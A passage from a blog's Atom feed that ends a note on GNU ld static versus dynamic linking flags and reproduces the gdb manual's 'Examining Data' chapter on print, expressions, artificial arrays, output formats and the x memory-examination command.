&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;-l namespec&lt;&#x2F;code&gt; ... If &lt;em&gt;namespec&lt;&#x2F;em&gt; is of the form &lt;code&gt;:filename&lt;&#x2F;code&gt;, &lt;code&gt;ld&lt;&#x2F;code&gt; will search the library path for a file called &lt;em&gt;filename&lt;&#x2F;em&gt;, otherwise it will search the library path for a file called &lt;code&gt;libnamespec.a&lt;&#x2F;code&gt;. ... on ELF ... systems, &lt;code&gt;ld&lt;&#x2F;code&gt; will search a directory for a library called &lt;code&gt;libnamespec.so&lt;&#x2F;code&gt; before searching for one called &lt;code&gt;libnamespec.a&lt;&#x2F;code&gt;. ... Note that this behavior does not apply to &lt;code&gt;:filename&lt;&#x2F;code&gt;, which always specifies a file called &lt;em&gt;filename&lt;&#x2F;em&gt;.&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;(Since &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs-2.18&#x2F;ld&#x2F;Options.html&quot;&gt;binutils 2.18&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;Note that this only works with the GNU linker. If your &lt;code&gt;ld&lt;&#x2F;code&gt; isn&#x27;t the GNU one you&#x27;re out of luck.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wlan-bstatic-lxyz&quot;&gt;-Wlan，-Bstatic -lXYZ&lt;&#x2F;h2&gt;
&lt;p&gt;You can add full path to &lt;code&gt;.a&lt;&#x2F;code&gt; file in the linking command:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  gcc yourfiles &amp;#x2F;path&amp;#x2F;to&amp;#x2F;library&amp;#x2F;libLIBRARY.a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But this is not talking with gcc driver, but with &lt;code&gt;ld&lt;&#x2F;code&gt; linker as options like &lt;code&gt;-Wl,anything&lt;&#x2F;code&gt; are.&lt;&#x2F;p&gt;
&lt;p&gt;When you tell gcc or ld &lt;code&gt;-Ldir -lLIBRARY&lt;&#x2F;code&gt;, linker will check both static and dynamic versions of library (you can see a process with &lt;code&gt;-Wl,--verbose&lt;&#x2F;code&gt;). To change order of library types checked you can use &lt;code&gt;-Wl,-Bstatic&lt;&#x2F;code&gt; and &lt;code&gt;-Wl,-Bdynamic&lt;&#x2F;code&gt;. Here is a man page of gnu LD: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;ld&quot;&gt;http:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;ld&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To link your program with lib1, lib3 dynamically and lib2 statically, use such gcc call:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc program.o -llib1 -Wl,-Bstatic -llib2 -Wl,-Bdynamic -llib3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Assuming that default setting of ld is to use dynamic libraries (it is on Linux).&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Debugging with gdb - Examining Data</title>
        <published>2024-11-11T00:00:00+00:00</published>
        <updated>2024-11-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/debugging-with-gdb-examining-data/"/>
        <id>https://vercel.juzhong.asia/obsidian/debugging-with-gdb-examining-data/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/debugging-with-gdb-examining-data/">&lt;h1 id=&quot;debugging-with-gdb-examining-data&quot;&gt;Debugging with gdb - Examining Data&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html&quot;&gt;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;examining-data&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC56&quot;&gt;Examining Data&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The usual way to examine data in your program is with the &lt;code&gt;print&lt;&#x2F;code&gt;command (abbreviated &lt;code&gt;p&lt;&#x2F;code&gt;), or its synonym &lt;code&gt;inspect&lt;&#x2F;code&gt;.  It evaluates and prints the value of an expression of the language your program is written in (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_13.html#SEC98&quot;&gt;Using GDB with Different Languages&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;print expr``print &#x2F;f expr&lt;&#x2F;code&gt;expr is an expression (in the source language).  By default the value of expr is printed in a format appropriate to its data type; you can choose a different format by specifying `&#x2F;f&#x27;, wheref is a letter specifying the format; see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC60&quot;&gt;Output formats&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;print``print &#x2F;f&lt;&#x2F;code&gt;If you omit expr, GDB displays the last value again (from the&lt;strong&gt;value history&lt;&#x2F;strong&gt;; see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC64&quot;&gt;Value history&lt;&#x2F;a&gt;).  This allows you to conveniently inspect the same value in an alternative format.&lt;&#x2F;p&gt;
&lt;p&gt;A more low-level way of examining data is with the &lt;code&gt;x&lt;&#x2F;code&gt; command. It examines data in memory at a specified address and prints it in a specified format.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC61&quot;&gt;Examining memory&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you are interested in information about types, or about how the fields of a struct or a class are declared, use the &lt;code&gt;ptype exp&lt;&#x2F;code&gt;command rather than &lt;code&gt;print&lt;&#x2F;code&gt;.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_14.html#SEC138&quot;&gt;Examining the Symbol Table&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;expressions&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC57&quot;&gt;Expressions&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;print&lt;&#x2F;code&gt; and many other GDB commands accept an expression and compute its value.  Any kind of constant, variable or operator defined by the programming language you are using is valid in an expression in GDB.  This includes conditional expressions, function calls, casts, and string constants.  It also includes preprocessor macros, if you compiled your program to include this information; see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_5.html#SEC19&quot;&gt;Compiling for debugging&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;GDB supports array constants in expressions input by the user.  The syntax is {element, element...}.  For example, you can use the command &lt;code&gt;print {1, 2, 3}&lt;&#x2F;code&gt; to build up an array in memory that is &lt;code&gt;malloc&lt;&#x2F;code&gt;ed in the target program.&lt;&#x2F;p&gt;
&lt;p&gt;Because C is so widespread, most of the expressions shown in examples in this manual are in C.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_13.html#SEC98&quot;&gt;Using GDB with Different Languages&lt;&#x2F;a&gt;, for information on how to use expressions in other languages.&lt;&#x2F;p&gt;
&lt;p&gt;In this section, we discuss operators that you can use in GDB expressions regardless of your programming language.&lt;&#x2F;p&gt;
&lt;p&gt;Casts are supported in all languages, not just in C, because it is so useful to cast a number into a pointer in order to examine a structure at that address in memory.&lt;&#x2F;p&gt;
&lt;p&gt;GDB supports these operators, in addition to those common to programming languages:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;@&lt;&#x2F;code&gt;`@&#x27; is a binary operator for treating parts of memory as arrays. See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC59&quot;&gt;Artificial arrays&lt;&#x2F;a&gt;, for more information.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;::&lt;&#x2F;code&gt;`::&#x27; allows you to specify a variable in terms of the file or function where it is defined.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC58&quot;&gt;Program variables&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;{type} addr&lt;&#x2F;code&gt;Refers to an object of type type stored at address addr in memory.  addr may be any expression whose value is an integer or pointer (but parentheses are required around binary operators, just as in a cast).  This construct is allowed regardless of what kind of data is normally supposed to reside at addr.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;program-variables&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC58&quot;&gt;Program variables&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The most common kind of expression to use is the name of a variable in your program.&lt;&#x2F;p&gt;
&lt;p&gt;Variables in expressions are understood in the selected stack frame (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_7.html#SEC47&quot;&gt;Selecting a frame&lt;&#x2F;a&gt;); they must be either:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;global (or file-static)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;or&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;visible according to the scope rules of the programming language from the point of execution in that frame&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This means that in the function&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;foo (a)
     int a;
{
  bar (a);
  {
    int b = test ();
    bar (b);
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;you can examine and use the variable &lt;code&gt;a&lt;&#x2F;code&gt; whenever your program is executing within the function &lt;code&gt;foo&lt;&#x2F;code&gt;, but you can only use or examine the variable &lt;code&gt;b&lt;&#x2F;code&gt; while your program is executing inside the block where &lt;code&gt;b&lt;&#x2F;code&gt; is declared.&lt;&#x2F;p&gt;
&lt;p&gt;There is an exception: you can refer to a variable or function whose scope is a single source file even if the current execution point is not in this file.  But it is possible to have more than one such variable or function with the same name (in different source files).  If that happens, referring to that name has unpredictable effects.  If you wish, you can specify a static variable in a particular function or file, using the colon-colon (&lt;code&gt;::&lt;&#x2F;code&gt;) notation:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;var&gt;file&lt;&#x2F;var&gt;::&lt;var&gt;variable&lt;&#x2F;var&gt;
&lt;var&gt;function&lt;&#x2F;var&gt;::&lt;var&gt;variable&lt;&#x2F;var&gt;
&lt;&#x2F;pre&gt;
&lt;p&gt;Here file or function is the name of the context for the static variable.  In the case of file names, you can use quotes to make sure GDB parses the file name as a single word--for example, to print a global value of &lt;code&gt;x&lt;&#x2F;code&gt; defined in `f2.c&#x27;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) p &amp;#x27;f2.c&amp;#x27;::x
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This use of `::&#x27; is very rarely in conflict with the very similar use of the same notation in C++.  GDB also supports use of the C++scope resolution operator in GDB expressions.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Warning:&lt;&#x2F;em&gt;  Occasionally, a local variable may appear to have the wrong value at certain points in a function--just after entry to a new scope, and just before exit.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;You may see this problem when you are stepping by machine instructions. This is because, on most machines, it takes more than one instruction to set up a stack frame (including local variable definitions); if you are stepping by machine instructions, variables may appear to have the wrong values until the stack frame is completely built.  On exit, it usually also takes more than one machine instruction to destroy a stack frame; after you begin stepping through that group of instructions, local variable definitions may be gone.&lt;&#x2F;p&gt;
&lt;p&gt;This may also happen when the compiler does significant optimizations. To be sure of always seeing accurate values, turn off all optimization when compiling.&lt;&#x2F;p&gt;
&lt;p&gt;Another possible effect of compiler optimizations is to optimize unused variables out of existence, or assign variables to registers (as opposed to memory addresses).  Depending on the support for such cases offered by the debug info format used by the compiler, GDB might not be able to display values for such local variables.  If that happens, GDB will print a message like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;No symbol &amp;quot;foo&amp;quot; in current context.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To solve such problems, either recompile without optimizations, or use a different debug info format, if the compiler supports several such formats.  For example, GCC, the GNU C&#x2F;C++ compiler, usually supports the @option{-gstabs+} option.  @option{-gstabs+} produces debug info in a format that is superior to formats such as COFF.  You may be able to use DWARF 2 (@option{-gdwarf-2}), which is also an effective form for debug info.  See section `Options for Debugging Your Program or GNU CC&#x27; in Using GNU CC.&lt;&#x2F;p&gt;
&lt;p&gt;See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_13.html#SEC108&quot;&gt;C and C++&lt;&#x2F;a&gt;, for more info about debug info formats that are best suited to C++ programs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;artificial-arrays&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC59&quot;&gt;Artificial arrays&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;It is often useful to print out several successive objects of the same type in memory; a section of an array, or an array of dynamically determined size for which only a pointer exists in the program.&lt;&#x2F;p&gt;
&lt;p&gt;You can do this by referring to a contiguous span of memory as an&lt;strong&gt;artificial array&lt;&#x2F;strong&gt;, using the binary operator `@&#x27;.  The left operand of `@&#x27; should be the first element of the desired array and be an individual object.  The right operand should be the desired length of the array.  The result is an array value whose elements are all of the type of the left argument.  The first element is actually the left argument; the second element comes from bytes of memory immediately following those that hold the first element, and so on.  Here is an example.  If a program says&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int *array = (int *) malloc (len * sizeof (int));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;you can print the contents of &lt;code&gt;array&lt;&#x2F;code&gt; with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;p *array@len
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The left operand of `@&#x27; must reside in memory.  Array values made with `@&#x27; in this way behave just like other arrays in terms of subscripting, and are coerced to pointers when used in expressions. Artificial arrays most often appear in expressions via the value history (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC64&quot;&gt;Value history&lt;&#x2F;a&gt;), after printing one out.&lt;&#x2F;p&gt;
&lt;p&gt;Another way to create an artificial array is to use a cast. This re-interprets a value as if it were an array. The value need not be in memory:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) p&amp;#x2F;x (short[2])0x12345678
$1 = {0x1234, 0x5678}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As a convenience, if you leave the array length out (as in`(type[])value&#x27;) GDB calculates the size to fill the value (as `sizeof(value)&#x2F;sizeof(type)&#x27;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) p&amp;#x2F;x (short[])0x12345678
$2 = {0x1234, 0x5678}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Sometimes the artificial array mechanism is not quite enough; in moderately complex data structures, the elements of interest may not actually be adjacent--for example, if you are interested in the values of pointers in an array.  One useful work-around in this situation is to use a convenience variable (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC65&quot;&gt;Convenience variables&lt;&#x2F;a&gt;) as a counter in an expression that prints the first interesting value, and then repeat that expression via &lt;kbd&gt;RET&lt;&#x2F;kbd&gt;.  For instance, suppose you have an array &lt;code&gt;dtab&lt;&#x2F;code&gt; of pointers to structures, and you are interested in the values of a field &lt;code&gt;fv&lt;&#x2F;code&gt;in each structure.  Here is an example of what you might type:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set $i = 0
p dtab[$i++]-&amp;gt;fv
RET
RET
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;output-formats&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC60&quot;&gt;Output formats&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;By default, GDB prints a value according to its data type.  Sometimes this is not what you want.  For example, you might want to print a number in hex, or a pointer in decimal.  Or you might want to view data in memory at a certain address as a character string or as an instruction.  To do these things, specify an &lt;strong&gt;output format&lt;&#x2F;strong&gt; when you print a value.&lt;&#x2F;p&gt;
&lt;p&gt;The simplest use of output formats is to say how to print a value already computed.  This is done by starting the arguments of the&lt;code&gt;print&lt;&#x2F;code&gt; command with a slash and a format letter.  The format letters supported are:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;x&lt;&#x2F;code&gt;Regard the bits of the value as an integer, and print the integer in hexadecimal.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;d&lt;&#x2F;code&gt;Print as integer in signed decimal.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;u&lt;&#x2F;code&gt;Print as integer in unsigned decimal.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;o&lt;&#x2F;code&gt;Print as integer in octal.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;t&lt;&#x2F;code&gt;Print as integer in binary.  The letter `t&#x27; stands for &quot;two&quot;.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_foot.html#FOOT4&quot;&gt;(4)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;a&lt;&#x2F;code&gt;Print as an address, both absolute in hexadecimal and as an offset from the nearest preceding symbol.  You can use this format used to discover where (in what function) an unknown address is located:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) p&amp;#x2F;a 0x54320
$3 = 0x54320 &amp;lt;_initialize_vx+396&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The command &lt;code&gt;info symbol 0x54320&lt;&#x2F;code&gt; yields similar results. See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_14.html#SEC138&quot;&gt;Examining the Symbol Table&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;c&lt;&#x2F;code&gt;Regard as an integer and print it as a character constant.  This prints both the numerical value and its character representation.  The character representation is replaced with the octal escape `\nnn&#x27;for characters outside the 7-bit ASCII range.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;f&lt;&#x2F;code&gt;Regard the bits of the value as a floating point number and print using typical floating point syntax.&lt;&#x2F;p&gt;
&lt;p&gt;For example, to print the program counter in hex (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC66&quot;&gt;Registers&lt;&#x2F;a&gt;), type&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;p&amp;#x2F;x $pc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that no space is required before the slash; this is because command names in GDB cannot contain a slash.&lt;&#x2F;p&gt;
&lt;p&gt;To reprint the last value in the value history with a different format, you can use the &lt;code&gt;print&lt;&#x2F;code&gt; command with just a format and no expression.  For example, `p&#x2F;x&#x27; reprints the last value in hex.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;examining-memory&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC61&quot;&gt;Examining memory&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You can use the command &lt;code&gt;x&lt;&#x2F;code&gt; (for &quot;examine&quot;) to examine memory in any of several formats, independently of your program&#x27;s data types.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;x&#x2F;nfu addrx&lt;&#x2F;code&gt;Use the &lt;code&gt;x&lt;&#x2F;code&gt; command to examine memory.&lt;&#x2F;p&gt;
&lt;p&gt;n, f, and u are all optional parameters that specify how much memory to display and how to format it; addr is an expression giving the address where you want to start displaying memory. If you use defaults for nfu, you need not type the slash `&#x2F;&#x27;. Several commands set convenient defaults for addr.&lt;&#x2F;p&gt;
&lt;p&gt;n, the repeat countThe repeat count is a decimal integer; the default is 1.  It specifies how much memory (counting by units u) to display.&lt;&#x2F;p&gt;
&lt;p&gt;f, the display formatThe display format is one of the formats used by &lt;code&gt;print&lt;&#x2F;code&gt;(`x&#x27;, `d&#x27;, `u&#x27;, `o&#x27;, `t&#x27;, `a&#x27;, `c&#x27;,`f&#x27;), and in addition `s&#x27; (for null-terminated strings) and`i&#x27; (for machine instructions).  The default is `x&#x27;(hexadecimal) initially.  The default changes each time you use either&lt;code&gt;x&lt;&#x2F;code&gt; or &lt;code&gt;print&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;u, the unit sizeThe unit size is any of&lt;code&gt;b&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bytes.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;h&lt;&#x2F;code&gt;Halfwords (two bytes).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;w&lt;&#x2F;code&gt;Words (four bytes).  This is the initial default.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;g&lt;&#x2F;code&gt;Giant words (eight bytes).&lt;&#x2F;p&gt;
&lt;p&gt;Each time you specify a unit size with &lt;code&gt;x&lt;&#x2F;code&gt;, that size becomes the default unit the next time you use &lt;code&gt;x&lt;&#x2F;code&gt;.  (For the `s&#x27; and`i&#x27; formats, the unit size is ignored and is normally not written.)addr, starting display addressaddr is the address where you want GDB to begin displaying memory.  The expression need not have a pointer value (though it may); it is always interpreted as an integer address of a byte of memory. See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC57&quot;&gt;Expressions&lt;&#x2F;a&gt;, for more information on expressions.  The default foraddr is usually just after the last address examined--but several other commands also set the default address: &lt;code&gt;info breakpoints&lt;&#x2F;code&gt; (to the address of the last breakpoint listed), &lt;code&gt;info line&lt;&#x2F;code&gt; (to the starting address of a line), and &lt;code&gt;print&lt;&#x2F;code&gt; (if you use it to display a value from memory).&lt;&#x2F;p&gt;
&lt;p&gt;For example, `x&#x2F;3uh 0x54320&#x27; is a request to display three halfwords (&lt;code&gt;h&lt;&#x2F;code&gt;) of memory, formatted as unsigned decimal integers (`u&#x27;), starting at address &lt;code&gt;0x54320&lt;&#x2F;code&gt;.  `x&#x2F;4xw $sp&#x27; prints the four words (`w&#x27;) of memory above the stack pointer (here, `$sp&#x27;; see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC66&quot;&gt;Registers&lt;&#x2F;a&gt;) in hexadecimal (`x&#x27;).&lt;&#x2F;p&gt;
&lt;p&gt;Since the letters indicating unit sizes are all distinct from the letters specifying output formats, you do not have to remember whether unit size or format comes first; either order works.  The output specifications `4xw&#x27; and `4wx&#x27; mean exactly the same thing. (However, the count n must come first; `wx4&#x27; does not work.)&lt;&#x2F;p&gt;
&lt;p&gt;Even though the unit size u is ignored for the formats `s&#x27;and `i&#x27;, you might still want to use a count n; for example,`3i&#x27; specifies that you want to see three machine instructions, including any operands.  The command &lt;code&gt;disassemble&lt;&#x2F;code&gt; gives an alternative way of inspecting machine instructions; see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_8.html#SEC55&quot;&gt;Source and machine code&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;All the defaults for the arguments to &lt;code&gt;x&lt;&#x2F;code&gt; are designed to make it easy to continue scanning memory with minimal specifications each time you use &lt;code&gt;x&lt;&#x2F;code&gt;.  For example, after you have inspected three machine instructions with `x&#x2F;3i addr&#x27;, you can inspect the next seven with just `x&#x2F;7&#x27;.  If you use &lt;kbd&gt;RET&lt;&#x2F;kbd&gt; to repeat the &lt;code&gt;x&lt;&#x2F;code&gt; command, the repeat count n is used again; the other arguments default as for successive uses of &lt;code&gt;x&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
